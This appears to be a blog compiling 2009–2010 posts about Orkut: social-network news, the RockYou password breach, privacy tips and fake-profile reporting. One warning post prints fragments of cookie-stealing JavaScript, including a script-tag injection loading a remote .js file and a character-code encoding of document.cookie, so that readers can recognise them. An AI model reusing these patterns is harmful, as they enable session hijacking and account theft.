Friday, February 26, 2010

Google Orkut Brazil Blog Hacked?

The Official Orkut Brazil blog was apparently hacked by someone with the hacker leaving some html pages which contained malware on the site. Orkut is one of the most popular social networking site in Brazil and India with millions of users using it every day.

According to Google Discovery (translated), some pages on the official Orkut Brazilian blog were displaying some weird content as seen in the screenshot below.

Monday, February 22, 2010

Tata DoCoMo Gives Free GPRS For Orkut, Facebook, Twitter, Nimbuzz & LinkedIn

Talking about consistently changing the rules of the game. TataDoCoMo, which came into the limelight with their pay-per-second billing plans and marketing blitz, has now expanded its BuddyNet service to include free GPRS access to social networks Orkut, Facebook, Twitter and Nimbuzz, apart from professional networking site LinkedIn.Embedded applications and external URLs/Links will be charged at Re. 0.1/kb), and users will have to pay to subscribe to BuddyNet.

This initiative is in line with a similar move I’d suggest for 3G: that telecom operators should make GPRS access free for a limited in order to encourage GPRS usage, the way they did many years ago with SMS.


Thursday, February 18, 2010

Facebook may elbow out Orkut as top Net hangout

Facebook may elbow out Orkut as top Net hangout

NEW DELHI: Facebook may not be hard on the heels of Google yet but its spectacular growth is threatening to cast the internet search giant’s own

Check out top 10 passwords
Fortify your online defences
Login blues? You may have hackable password
social networking site, Orkut, to the fringes of internet, at least in India.

The world’s second-most visited website after Google, which turned six on Friday, could surpass Orkut in the number of users to become India’s top social networking site by September, say a couple of studies. Though Orkut now has 15.5 million users compared to Facebook’s 10.4 million as of December, the Google site’s additions are at a sluggish 1.8% per month, says data from Mumbai-based Komli Ad Networks. Facebook, in contrast, is growing at a compounded 7.8% a month since July.

Going by this trend, Facebook could well overtake Orkut in India in about seven months. Though that is still some time away, analysts say Google could do well to peek into its past in India and the history of the internet, littered with decaying social networking services such as Six Degrees, Firefly and Friendster. The emergence of Gmail, Google’s mailing service, almost wiped out Hotmail, till then India’s most popular email service. Orkut might meet the same fate as Hotmail soon, they say.

Monday, February 15, 2010

Google Buzz Facebook war: Is Orkut dead

New York: Google Buzz Facebook war: Is Orkut dead. Many people are wondering as to whether Google’s social networking site Orkut is dead, or Google is going to shut it down for its newly launched feature of Buzz. Orkut has failed to keep up the pace with other social networking sites including Facebook and Twitter.

Orkut’s popularity has been decreasing with every passing day. At a time when Facebook and Twitter are ranked second and twelfth respectively by Alexa.com, Orkut’s rank has come down to 60.

Almost thirty percent internet population uses Facebook now.

In the beginning of the last year, the two websites were in a neck and neck competition and now there is no comparison left between the two social networking sites.

Although Orkut is less popular in the United States than competitors Facebook and MySpace, it is one of the most visited websites in India and Brazil. In fact, as of December 2009, 51.09% of Orkut's users are from Brazil, followed by India with 20.02% and United States with 17.28%.

The fact that it is not popular in US and Europe- more lucrative market for any internet company- might have prompted Google to get a better social networking site than Orkut, that at best seems obsolete.

But will users who have become used to Facebook and Twitter will fall for it, is the most important question.

Google Buzz pitted against Facebook, Twitter http://www.khabrein.info

Orkut Scraps for Valentine day................

If you are a love bird and have the Philosophy to celebrate the saint Valentine Day the you are already late and instantly you should send the messages / cards / greeting / scraps / images / mms related to love to your love / your better half. The 14th February is celebrated every year as the day of Love by the love birds around the world and this time along with Valentine day people around the world have also celebrated the International condom day on the occasion of Valentine event. In India few organization and people have celebrated the Valentine days while others have celebrated the Parents Day in India. Love birds around the world on internet they are finding the scrap codes for orkut / facebook and other social networking websites. One can find the scraps codes and messages on internet by searching: orkut uncle, orkut uncle, valentine messages, valentine wallpaper, orkut valentine greetings, valentine day scrap etc Visit the website for Orkut Scraps / Valentien Messages and Scraps www.orkut.org.in

Friday, January 29, 2010

Orkut's 6th birthday!

It may not have popped up in your birthdays list, but today is orkut's big day: the site is now 6 years old! In the past 6 years we've learned to walk, talk, and color inside the lines, among many other achievements. We've even shaken things up and reinvented ourselves not once but twice!

More importantly, we've made a ton of great friends along the way (over 80 million worldwide), and are happy to include you among them.

To celebrate the day, you might have noticed that we created a special doodle:

Thanks for sticking with us for all of these years. There's plenty more to come from the orkut team, so we look forward to many more birthdays together!

Posted by Ariel, on behalf of the orkut team

Thursday, January 21, 2010

Social Media’s Tribute To Jyoti Basu

Social Networking website users paid their own kind of tribute to the famous CPM leader Jyoti Basu who passed away last week in Kolkata. Hundreds of his followers who are active on social networks such as Facebook & orkut posted links, videos and pictures related to the late politician. Mr. Jyoti Basu held the post of the Chief Minister of West Bengal uninterrupted for almost 23 years before stepping down citing health reasons.

Jyoti_Basu

A group called “May his soul rest in peace forever” has been created on facebook that describes the 95-year-old leader who died Sunday as “a classic personality and a true leader” of the nation. Even Orkut was buzz with activity in too many communities that mourned the death of the communist leader saying, “Our great leader and former chief minister of West Bengal is no more.”

Twitter was no less too! Even now tweets paying tribute to the late politician are showing up on the Live Twitter Search. You can visit this link to see it for yourself. There have been over 1000 tweets via which people showed their gratitude to Jyoti Basu ji. Talking about paying tributes, Facebook has a dedicated way using which one can pay tributes to folks who are no more. source: http://www.watblog.com/2010/01/21/social-medias-tribute-to-jyoti-basu/

Wednesday, January 6, 2010

We will get incremental growth from education and government in 2010'

What was 2009 like for Google India? And what is your outlook for 2010?
India was a strong growth market in 2009. However, the first quarter was a challenging one because of the recession. But the last three quarters were strong. So, we exited 2009 with a positive outlook. This year will be one of experimentation, especially in the mobile space. In fact, we expect mobile internet to be a serious business when we exit 2010.

On the advertising front, we feel that it is still confined to online travel and websites, even though digital advertising is a high performance-low cost way of connecting with the customer. However, we do see a change with advertising becoming an integral part of every company's business strategy. http://www.business-standard.com

Tuesday, December 15, 2009

Computer hacker accesses 30 million Facebook, MySpace, and Orkut usernames and passwords

Redwood City, CA - Hackers broke into an online database hosted at RockYou.com and illegally accessed the usernames and passwords for more than 30 million users of Facebook, MySpace, Friendster and Orkut. The hacker may also have accessed usernames and passwords for Gmail, Yahoo, and Hotmail accounts as well.

RockYou produces widget applications that are widely distributed on social networking sites such as Facebook and MySpace. In order to work properly, these widgets require the user’s username and password. Most social networks have data security requirements for its widget developers, and it may be possible that RockYou was in violation of these requirements.

The most troubling aspect of this incident is that RockYou apparently stored the information in plain text, rather than following industry standards by encrypting it.

The data breach was first discovered after a database security vendor discovered a major error it had uncovered on a page on RockYou’s website.

The hackers claims to have accessed RockYou’s entire database and has posted samples of data on their website. He appears to be forcing RockYou to admit to certain vulnerabilities in its data security."Don't lie to your customers, or I will publish everything," the hacker wrote as an obvious reprimand to RockYou. http://www.examiner.com/

Tuesday, April 21, 2009

Microsoft: No Office 2010 beta for you

Microsoft confirmed on Tuesday that it will not open Office 2010 beta testing to the general public, but will instead limit the preview to a large group of invite-only users starting in the third quarter of 2009.

The technology preview, as Microsoft will call the beta program, will involve "thousands of users," a company spokeswoman said. But it will be a closed group, in that Microsoft will not post a beta version of Office 2010 to its site for just anyone to download.

"At this point, there is no plan" to offer the beta to the general public, she added when asked whether Microsoft would release a preview to any and all.

Office 2010, the moniker Microsoft announced today for its next application suite, the bundle had previously carried the code name "Office 14", will be issued in beta form to workers in Microsoft's largest corporate accounts as well as run-of-the-mill consumers, the spokeswoman said.

By omitting a general beta, Microsoft breaks with the approach it used to test Office 2007, the dramatically revamped suite it introduced to business customers in late 2006 and launched in retail January 2007. For Office 2007, Microsoft delivered two betas, one in March 2006, the second in September; in between it let users try out the suite's applications from within their browsers.

The Microsoft spokeswoman also confirmed today that Microsoft will ship two separate versions of Office 2010, one suitable for 32-bit operating systems, the other offering applications written specifically for 64-bit.

Late last month, ZDNet blogger Ed Bott rooted out references in a recent build of Windows 7 to a 64-bit edition of Office 2010, which was still called Office 14 at the time. Last Friday, Rafael Rivera, perhaps best known as one of two bloggers who sparked criticism of Windows 7's redesigned User Account Control (UAC) two months ago, reported that an Office 2010 add-on posted to the Microsoft download site was specific to 64-bit. The add-on, dated 4/9/2009 and labeled "Microsoft Office ScreenTip Language (64-bit)," was available as late as early Wednesday, but has since been pulled from the site.

Office 2010 will be the first Microsoft's suite to boast a version that natively supports 64-bit. Microsoft has said it will ship Office 2010 for Windows sometime in the first half of next year.

http://economictimes.indiatimes.com/Infotech/Internet_/Microsoft_No_Office_2010_beta_for_you/articleshow/4416489.cms

Tony Blair's Facebook profile hacked!

LONDON: Former British Prime Minister Tony Blair's profile on a popular social networking site has been hacked by netizens who have hurled online abuses at him and his wife Cherie.

In fact, users have launched personal attacks on the former British PM and his wife by hijacking Facebook profile, set up to promote his charity The Tony Blair Faith Foundation, 'The Daily Telegraph' reported.

The Tony Blair Faith Foundation on Facebook, which is accessed via a link from the charity's official website, is meant to promote understanding of the world's religions. But, it is instead dominated by abusive messages against Blairs.

One posted on Saturday: "Setting up a Mickey Mouse foundation will do nothing to clear your conscience. Your legacy was sealed a long time ago. You can bang your Christian drum for as long as you like."

Another poster wrote: "Tony Blair. You're a poor man's Michael Sheen. You're a parody of yourself. You wish you could be as cool MC Gordon Brown." Another wrote: "Tony Blair was about as good for Britain as the bubonic plague."

http://economictimes.indiatimes.com/Infotech/Internet_/Tony_Blairs_Facebook_profile_hacked/articleshow/4430138.cms

Yahoo to cut 5 percent jobs; Q1 profit in line

SAN FRANCISCO: Yahoo! on Tuesday reported that its net profit slumped nearly 80 percent in the first three months of the year and that it will trim its workforce by five percent to cut costs.

Shares of the Internet company rose 1 percent in after-hours trading.

In the first full three-month period under the leadership of CEO Carol Bartz, Yahoo generated revenue of $1.58 billion, compared with $1.82 billion at this time last year. Excluding traffic acquisition costs, Yahoo's revenue was $1.16 billion compared with the average analyst expectation of $1.2 billion according to Reuters Estimates.

"Yahoo! is not immune to the ongoing economic downturn, but careful cost management in the first quarter allowed our operating cash flow to come in near the high end of our outlook range," said Bartz.

"With our leading audience properties, substantial reach and innovative advertising solutions, we are confident Yahoo! will be well positioned when online brand advertising resumes its growth," she added.

The Sunnyvale, California-based company reported a net profit in the first quarter of $118 million, or 8 cents a share -- down from $537 million, or 37 cents a share, a year earlier. Wall Stret on average, had forecast earnings at 8 cents a share, according to Reuters Estimates.

Yahoo projected that sales in the current quarter will range between $1.425 billion and $1.625 billion.

http://economictimes.indiatimes.com/Infotech/Internet-/Yahoo-to-cut-5-jobs-Q1-profit-in-line/articleshow/4432388.cms

Google lets people influence searches on their names

SAN FRANCISCO: Google is giving people influence over what information turns up during online searches on their names.

The California Internet search king began yesterday featuring voluntarily created Google profiles at the bottoms of US "name-query" pages.

"It's no secret that from time to time many of us have searched on Google for our name or someone else's," Google software engineer Brian Stoler wrote in a posting at the Internet firm's website.

"When searching for yourself to see what others would find, results can be varied and aren't always what you want people to see. We want to make that better and give you more of a voice."

Google profiles contain basic information and pictures that people don't mind sharing. Concise profiles are displayed along with results of searches on people's names to allow a little control of one's online image.

Information about setting up profiles is available at google.com/profiles.

http://economictimes.indiatimes.com/Features/Google/Google-lets-people-influence-searches-on-their-names/articleshow/4432828.cms

Thursday, March 12, 2009

Bangladesh lifts YouTube ban imposed after mutiny


Bangladesh lifts YouTube ban imposed after mutiny

Dhaka (AP): Bangladesh has lifted a ban on the video-sharing site YouTube that was imposed because of a recording of a tense meeting between the prime minister and army officials after a bloody mutiny by border guards, an official said on Thursday.

Zia Ahmed, chairman of the Bangladesh Telecommunication Regulatory Commission, said the ban was lifted on Tuesday because tensions had been "diluted" since last month's mutiny left more than 70 people, mostly army officers, dead.

Senior army officers were furious at Prime Minister Sheikh Hasina for negotiating with the mutineers instead of ordering a quick army attack during the Feb. 25-26 revolt, at the Dhaka headquarters of the Bangladesh Rifles, a paramilitary border patrol force commanded by army officers.

Mr. Ahmed earlier said the government decided to block YouTube because the clip threatened national unity and integrity. In the YouTube clip, Ms. Hasina defends her decision to negotiate with the mutineers as army officials shout and jeer, drowning her out and preventing her from speaking. The clip was also posted on blogs and overseas Web sites aimed at Bangladeshis. Some of those sites were also blocked, but Ahmed said he could not comment on whether those bans were also lifted.

Wednesday, March 4, 2009

Orkut Unblocked


Orkut Unblocked

Unblock Orkut using this fantastic Orkut proxy site. Tell your friends about this great unblock Orkut proxy site

http://orkutunblocked.com

This site is very helpful for those who could not browse to orkut from office.

Orkut - On and off

I was having some difficulty with my multiple social networks when I remembered a piece I wrote last December ( http://www.blsmartbuy.com/?p=2001) predicting that social networking will lose its cool-ness; that it will become ordinary, like having an e-mail address.

Most of us have multiple e-mail addresses, at least one of which we check daily; and the others at varying frequencies, maybe even once a month. That will likely happen in social networking as well.

I noticed that I was signing up for almost every new social network that a friend invited me to or was already part of: orkut, twitter, facebook, linkedin, myspace, etc.

After every new sign up, I’d be very active for some time, till another one came along. Then, I’d feel guilty about maintaining radio silence and there’d be a flurry of posts/messages, and then it would trail off again… There are a couple that I haven’t logged into since the new year.

I find it very difficult to be part of many social networks at the same time; it is almost like being at different parties at the same time. I recently integrated my tweets into facebook so that I don’t have to update both.

I thought it was just the digital migrants who had this problem; and it seems I was wrong. A digital native friend recently tweeted: “Is wondering how many soc net sites can one seriously be involved with”.

Oh, and a tweet is a short message or status update in twitter.

N. Nagaraj
source: http://www.thehindubusinessline.com/ew/2009/03/02/stories/2009030250030100.htm

Monday, March 2, 2009

Impersonation + Obscene Pics + Vulgar Posts in Orkut Forums gets a Youth Arrested



If any loser on orkut is harassing you by faking your identity or associating Obscene pictures against your name or is posting vulgar messages or your real phone number on orkut forums, then you can get them arrested and believe me they deserve nothing less.



DNA - India :

Chandigarh police on Thursday arrested a youth on the charge of posting obscene material, including pictures, on a woman’s profile on Orkut without her knowledge, a police spokesperson said here.

Jatinder Singh Marok, a process executive in tech firm in Mohali, was arrested under section 67 of the Information Technology Act, 2000, after the girl lodged a case against him.

The girl, who is also a resident of Mohali, was getting telephone calls from men after her profile with pornographic photos of some other girl, but carrying her name and phone number, appeared in the profile section of Orkut, police said. The girl then approached the cyber crime cell of the Chandigarh police. Marok was arrested after the police painstakingly collected digital evidence, said the police. The accused is being interrogated

How to Detect a Cookie Stealing Script on Orkut?

.
How to Detect a Cookie Stealing Script on Orkut?



Title would seem confusing, but we think it’s time to let you know how you can detect a cookie stealing script so that you can avoid a tsunami headed your way. Unfortunately, Orkut has become more of a place of misuse than a social networking site. This would in a way help you playing safe on orkut and avoid using dangerous scripts which are forwarded to you by unknown members and your friends or you stumble upon in a community.

If you have a look at the screen shot, you’ll notice one of my contacts sending me a scrap with a cookie stealing script. Basically he has been hacked and the hacker is now using scrap all friends to scrap all his friends who may believe that their dear friend is sending them a script and they would not hesitate to use it. This can happen to anyone of us. So it’s necessary for all of us to recognize which scripts are there for our cookies.

» Cookie Stealing Scripts on Orkut


» The Normal Script


This javascript

consists of the profile id and cookie call if you observe the script carefully. In case you ever see a UID=123456722489 and document.cookie in a script then you must remember - never ever run that script.

» Script Uploaded on a Third Party Server

This script consists of a link which is usually a user.js


javascript:increasing_members=document.get(’head’)[0]; a=document.xxxxElement(’script’); a.src=’http://anylink.js’; c.append(a); void(0)


This anylink.js refers to a grease monkey script.The anylink.js is uploaded on an third party sever hence, you don’t know what it’s unless you download it and open in a notepad to see the actual love

» Document.Cookie Encoded - Cookie Stealing Script


This is the most used and deadliest of all cookie stealing script on orkut. Unfortunately, i have seen them circulating in many scrapbooks and communities. In this script, the cookie stealing function is coded hence not easily detectable.


String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)


The numbers shown above when decoded show up = document.cookie . I hope you can guess what they can be used for.


Stolen Orkut Communities - Direct Help from Orkut

Stolen Orkut Communities - Direct Help from Orkut

Orkut Help Group has launched a much needed forum for stolen communities. There have been countless cases of stolen communities and this had to come sooner than later. (Hat Tip : Inside Orkut)

» Official Word from Orkut

I know it’s frustrating that some people on orkut don’t play nice and try to steal other people’s communities When this happens, please write into the Help Center for individual help.

It takes a lot of time to investigate these cases and attempt to restore communities, so it’s not very efficient to post them here, with only one Guide here to help out! - read more

Fake Profile - How to Get it Removed?

.
What to do when someone created your fake profile ?

» Some Created My Fake Profile - What to Do?

It is not a tough job to get a fake profile removed from orkut. The simplest step which would do is to scan and send your identity card to orkut staff. Use this form. You may also like to put additional pressure on orkut staff and the fake profile maker by following these below stated instructions to get the result quickly in your favor

» Flag the Profile | Report Abuse

  • Go to the fake profile
  • Select Report Abuse Option in that profile
  • This Would take you To The Page Shown in the Screen shot Below
  • Choose the option which defines your problem the best
  • Now Fill in the Details and make Sure you do your best to let orkut staff believe your plea
» Alert Your Friends
A friend in need is a friend in Deed.Remember the quote? Now Let all your friends know about your problem and request them to perform the same step above as you did.The more complaints, orkut staff will be more quick in their actions.

You may like to inform all your friends about your problem by sending same scrap to all your friends with a single click or prefer sending an e-mail because it will remain a secret and the fake profile owner will not smell any activity.

» Help From Anti-Fake Profile Communities

There are some of communities on orkut which aim at demolishing the fake profiles which trouble the members. These may come in handy in your quest to kick the criminal act and safeguard your dignity.

I Hate Fake Orkut Profiles is one of the orkut community which aim’s at ending fake profiles from orkut. All you need is to :

  • Join the Community
  • Post the Request as a new topic
  • Leave Rest to the community members.
» Wait and Relax
Give Google
a time of two weeks to act on your query. In case you don’t receive any response from them, then contact them directly over here


» Intense Situations - Immediate Action
Is the loser displaying your private info or abusing your name for bad, pornographic activities? Let the sucker know the consequences. It’s the time to call the cops. You can also file a cyber complaint here (if you live in India) and if your area comes under FBI Jurisdiction, navigate here to file a cyber complaint

» Notes

To keep the ball in your court, never try to hack the fake account, harass or threaten the hacker or spam his scrapbook or abuse/curse Google in any way.

» Credits and Reference
This Post is inspired from the one Darnell posted over at Inside Orkut





Tips to Protect Your Privacy on Orkut

This post highlights various privacy breaches you can experience and the bad part is, you are unaware of it. I would highly recommend this post since it covers all possible security measures to protect your identity and privacy on orkut. This is a must read for the girls and ladies on orkut since there are all types of people on orkut (1,2). Here are some tips you should seriously follow on orkut.

» Profile with personal info - Available to public, some information can be kept private.

  • Never give your complete address in public.
  • Remember to hide your pin code. As it’s a very easy field if someone wants to pin-point your location.
  • Also hide your phone number or better don’t disclose it on orkut.

» Photo on the Profile - Available to public

  • It is always better not to share your photograph.
  • Even then, if you decide to put one, put a long shot, in group and no close-ups.
  • Never put your passport size photo. It might be used to make forged passport of some gangster or a criminal who may look similar to you.

» Orkut Albums - Available to Public, Can be Kept Private

  • If you have uploaded your pictures in orkut albums then you must block strangers from viewing it.
  • You must avoid uploading your images since you cannot be sure if orkut privacy features are really secure?

» Scrapbook : Scraps Your Friends Write for You - Available to Public, Can Be Blocked


  • Never disclose private data like phone number, email address, postal address etc. on the scrapbook.
  • Never discuss your personal life, like your family life, your girlfriend or boyfriend names etc.
  • Make Sure you hide your scrapbook from strangers and allow only friends to write in your scrapbooks.

» Testimonials (from friends) - Read only for public, friends on list can only write.


  • Accept testimonials only from friends you have seen and you know them personally.
  • You can even delete an existing testimonial you already accepted.


» Your Friend list on Orkut
- Available to public

  • There is nothing much you can do with this, as there is no control at your end to restrict the view of this.
  • Add only the friends you know to avoid misrepresentation of you as well as your profile.


» Communities
- Available to Public

Even here you cannot control the access to your communities, which is a major drawback. For instance, you are a guy from New Delhi, India. You shall join the community dedicated to it. This shall reveal your information that you stay either near New Delhi and you were in India, even if you have tried to camouflage your information using above steps.

» What Orkut Should but does not Offer?

  • Security to your personal profile from anonymous visits
  • Security to your scrapbook from anonymous writes (implemented)
  • Security to your photographs from anonymous viewing and downloading (implemented)
  • Security to your friends lists and joined communities from anonymous access

This means your personal data is at risk and can be misused. Phone numbers can be used for cold calls, email accounts can be spammed, photos can be misused, and personal data can be used to create other accounts and so on…

Although Orkut can be fun, it could a place for spammers or hackers or anonymous people to grab your personal details and use against you, you just need to be little careful to avoid your personal data from getting misused.

» Credits and References

Thanks Merinews for the wonderful article. We have updated the article with some important tips

sourcE: http://www.orkutplus.net/2007/03/expert-tips-to-play-safe-on-orkut-must.html

Announcing v0.8 JavaScript support on production


Announcing v0.8 JavaScript support on production



v0.8 of the OpenSocial JavaScript API is now live on www.orkut.com. Apps built with the newest version of the API will now be accepted into the directory for all orkut users to install and use.

Originally pushed to the sandbox in September, this initial release of the updated API includes support for the latest request syntax (e.g. the opensocial.IdSpec object), but other features such as lifecycle events and extended network distance are not yet available.

Please see the updated Developer's Guide and article list for more on developing using v0.8 and post any questions and bug sightings to the Developer Forum and issue tracker respectively.
source: http://orkutdeveloper.blogspot.com/

Some Problem with orkut

Problem with orkut

Clicking on a link just reloads the page. This happens most of the time. Whats the problem. Is it with the server or with the application itself or with the site?

Google adds S60 support to Orkut - the social network

Orkut - the social network everyone appears to have forgotten about - is now compatible with S60 devices. Google has been tinkering behind the scenes and the new mobile version is now optimised for S60 phones - maybe it’s enough to draw some users back.

Facebook may be stomping all over MySpace in the English speaking world, but Orkut is still holding its own in Brazil, where it’s the most visited website and it holds the number two spot in India.

The mobile version at http://m.orkut.com has been out since April, but it’s now been specifically tweaked for S60 handsets. Google has also thrown in a range of new features such as photo uploads, picture galleries, click-to-call and quick friend searches too, so you can now make the most of that all-you-can-eat data plan.

It competes pretty much head on with Facebook mobile at http://m.facebook.com and MySpace mobile at http://m.myspace.com/. Is it enough to claw back some ground or has Google missed the boat on this one? source: http://noknok.tv/2008/08/15/google-adds-s60-support-to-orkut/

Google's Orkut

.
Evolution of Google's Orkut

BANGALORE, INDIA: In recent years, online social networking has created powerful new ways to communicate and share information. Most social network websites provide many ways for users to interact, such as emails and instant messaging services. Social networking websites are being used regularly by millions of people, and it now seems that social networking will be an enduring part of everyday life.

Google's social networking service, Orkut which kicked off as just a 20 percent time project of Orkut Büyükkökten, its creator, has come to be known, as the world's most popular social networking site.

What started in 2004 as a mission to help users connect by building online communities of people who share interests and activities and organize information, today has gone to become one of the biggest social network giants in India. 17.06 percent of Orkut members are Indians, making us the second largest nation on its network.

According to the latest comscore estimates, in India, Orkut has reigned as the most visited social networking site in December 2008 with more than 12.8 million visitors, an increase of 81 percent from the previous year. Orkut has been facing stiff competition from Facebook in the recent past, where it managed to lose its share to the social networking site. But Orkut, which is known to follow one basic mantra of making the user, the owner, and deliver what he demands, managed to turn the table upside down, with its constant innovation and vision.

One of the key reasons for Orkut's success is a belief that good ideas can, and should, come from anywhere, be it the users themselves, and the stress is always on creating something new and innovative. Orkut's future rests on the creativity of their engineers and how they grasp and weave out the products around what the users want and would enjoy working with. In the Orkut universe a user defines and derives his own experience.

The constant feedback and encouragement from the users has enabled innovation and fueled passion at Orkut, to enhance the user's experience and social interaction at every step.

To begin with, Orkut has introduced a number of privacy features, giving users the right to decide on accessibility to individual profiles.

Then came the "Open Social", a set of applications that extended from games to programs to help you invite friends to a particular location that you marked on a map. What's more, 50 percent of these applications were created in Noida, Uttar Pradesh, and Bangalore for Indian users.

With dial-up connections still very slow in India, and the mobile infrastructure limited to 2G, Orkut responded with a low-bandwidth version and a mobile version, which could preserve the experience even at low speeds.

Making web more social

Now users can engage in long personal conversations, discussing their lives, taking advise, sitting miles apart without wasting any ISD charges using various Orkut applications, like Instant Messaging ask friend, where only your choice of users can have an access, exchanging pictures and videos simultaneously, thus adding a real life feel to the whole communication. The privacy features have enhanced the freedom with which users now express and communicate tremendously.

To cater to its Indian members, the site also introduced an application so users could use Indian languages (Hindi, Marathi, Tamil, Telugu, Bengali, Gujarati, to name a few) to manage their accounts.

Over a period of time Orkut once again saw that its audience graph go up three times the size of its nearest competitor in the category. Other social networks like Facebook.com which captured the #2 position with 4 million visitors, up 150 percent versus year ago, followed by local social networking site Bharatstudent.com with 3.3 million visitors (up 88 percent) and hi5.com with 2 million visitors (up 182 percent).

Social Networking sites have seen an increase of 51 percent from the previous year, to more than 19 million visitors in December 2008, as per by comscore estimates.source: http://www.ciol.com/Developer/Feature/Evolution-of-Googles-Orkut/2309116652/0/

Friday, February 27, 2009

What google thinking about Orkut?

Unless you have been living a geek free life, you have probably heard about Google closing down Dodgeball, Mashup Editor, Jaiku (which will live on in the open source wilderness), as well as choking uploads to Google Video and removing support for Google Notebooks.

This wave of shutdowns surprised many people, causing some to wonder if Google will close down other popular (yet expensive) services--Orkut included.

While it is impossible to know which services Google may shut down (unless one is a Googler themselves), here are a few reasons why I think the search engine giant may decide to keep Orkut alive instead of killing it off in order to survive the upcoming recession.

  • Orkut has influence: Despite failing in America, Orkut is very popular in both Brazil and India. If one were to look at global trends, Orkut comes in 9th place (according to comScore) when it comes to unique visitors.

    If Google ever did shut down Orkut, there would probably be a lot of outrage in South America and the Indian subcontinent (which would hurt the Google brand over seas).
  • Potential for profit: With Orkut now running Google Adsense throughout forums, searches and (unfortunately) profiles, Orkut may just be creating a little wealth for Google (if not paying for most of the costs to keep the servers alive).

    Orkut may also be able to generate some extra cash by entering the VoIP arena (with some help from Google Talk and GrandCentral).

    Note: Orkut also has a third option, but I'll save that for another post. ;-)
  • Developers, Developers, Developers, Developers!: Orkut is one of the few non search Google services that has a large following of third party companies or (as Steve Baller of Microsoft likes to call them) developers, developers, developers, developers!

    Thus far Orkut has almost 2,000 Orkut apps created by third party companies or hackers, not to mention countless GreaseMonkey scripts and Firefox extensions (with hacks for Google Chrome hopefully along the way).

    Unless Google desired to inspire frustration among its geek community (at least overseas), they probably would not kill off Orkut unless the companies financial existence was seriously threatened with extinction.

Even though Google may decide to cut even more services in the future (like Google Knol which is Google's version of Wikipedia) I do not see the search engine giant killing off Orkut--at least in the near future. source: http://www.insideorkut.com/

Happy Birthday Orkut!

Five years ago, a Googler from the great nation of Turkey created Google's first official social network.

Since his last name Büyükkökten was fairly hard to pronounce (at least to the average American), Google decided to name their new social network after his first name, Orkut instead (at least according to the rumors).

Despite the fact that it failed to succeed in the US (MySpace and Facebook dominate here), Orkut somehow later on took off in both Brazil and India--and was even given "Google love" on the homepage for a short season.

Although Orkut has gone through many changes ranging from a (desperately needed) site redesign, to Orkut apps to launching Orkut mobile for smart phones (including the iPhone), the site has kept its simple yet functional design, making the site very enjoyable to use.

While I can only guess what 2009 holds for Orkut's future, I am glad that Google gave Orkut a chance early on as it is one of the few sites that allows me to actively interact with people from half way around the world (mostly from India and Brazil, but also Pakistan, Israel, England, and those crazy--yet lovable Iranians).

Happy Birthday Orkut! And thanks to all of the Googlers (especially the founder) who spend time improving the site, and for putting up with our constant whining (at least mine).

source: http://www.insideorkut.com/

Orkut Help Migrating Away From Google Groups?

It looks like the Google lords have had their fill of Google Groups, and are planning on migrating away from Google usernet forum towards something a little bit more professional.

While this news will not make the Google Groups department happy (as the AdSense help team left earlier), this will hopefully make the forum much more useful (as spammers and flamers seem to be targeting Google groups nowadays).

No word on when the new help group will be launched, although hopefully it will be by the end of next month. source: http://www.insideorkut.com/

Orkut Premium Themes

A long, long time ago in a place not too far away (at least online), Google introduced Orkut holiday themes to the masses.

Sometimes called Orkut templates or Orkut skins, these themes became so popular they inspired hackers/artists to design hundreds of their own with a little help from GreaseMonkey and Firefox. (note: there is even an Orkut app for Orkut themes as well).

While its good to see both the official Orkut themes and hacked themes appear online (as staring at the baby blue background gets old after awhile), neither of them gives users the freedom to publicly customize their profiles to their tastes (as the hacked themes are only visible to you within Firefox).

Since Google is unlikely to give users the complete freedom to change their Orkut profiles (despite the fact that there is a growing demand for customized Orkut themes), they may want to consider creating an Orkut Theme market where web designers/hackers can apply (and create) free and premium themes for users everywhere.

Why Premium?

Even though Orkut has released "a few" official Orkut themes (which are only viewable if one is in India), the fact is that many users may want extra features/designs that Google does not have the time or desire to create.

Example: While I have no objection to Google displaying adsense on my Orkut profile, many users do not enjoy these ads and will often use ad blocking software (like NoScript) to hide/remove them.

Google could allow Orkut users to simply purchase a premium theme that removes these ads from their public profiles (which may delight users who come across ads they may object to for political/religious reasons).


Another feature Google could release (for premium themes only) is the ability to stream music from their public profile without having to depend upon Orkut apps (which are limited) or YouTube (which are often taken down under the threat of lawsuit).

But would users pay for an Orkut theme?

While the vast majority would probably download the free themes (as free costs you nothing), other users would probably want their Orkut profile to stand out from the rest of the orkutsphere (note: at least I would).

One only has to look at the success at blog themes (for WordPress, Blogger and Movable Type) to see how something similar could play out for Orkut.

Since Google probably does not have the time on their hands to create thousands of Orkut themes, it may be wiser for them to outsource it to third party individuals who can create quality templates for free or for a small fee (with Google getting a small cut to pay for hosting).


While Google would have to approve and check each Orkut theme (to make sure they are safe and compatible with most browsers) a theme market could give users the freedom to have customized look without having their Orkut profile appear chaotic (like MySpace). source:http://www.insideorkut.com/

Orkut App Allows You To Download YouTube Videos

While there are many places one can download YouTube videos for free, the last place I thought I would ever see one would be on Orkut--especially since Google has started to crack down on third party sites.

Simply called YouTube Video Downloader, this app allows you to download any YouTube video, although the format will be in .flv format (which you can convert to something a little bit friendlier with the help of Convert Direct).

Now that YouTube has (finally) allowed users to download videos (in high quality too!), I would not be surprised to see this app pulled, although I doubt that Google's lawyers will be able to go after them as the creators posted a legal disclaimer telling you not to download YouTube videos.

(YouTube Video Downloader) Here I would like to warn that NEVER DOWNLOAD ANY VIDEOS FROM YOUTUBE. THIS IS ILLEGAL AND AGAINST GOOGLE'S POLICY. USE THIS POST FOR EDUCATIONAL PURPOSES ONLY. source: http://www.insideorkut.com/

Thursday, February 26, 2009

How to Block the Competitors Ads? Google Adsense

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I think this is a very interesting blog for me as i was thinking about it. It is useful to block ads of competitors.

Recently, we have seen the incidents wherein competitors ads are appearing on some of the web portals. For example, an Ibibo ad appearing on Yaari's website and Mypopkorn ads appearing on BigAdda, All these Ads were displayed using Google adsense. I just wanted to make this posting to let people know that there is way to block the competitor's ads on their webpages and how to use it on google adsense.

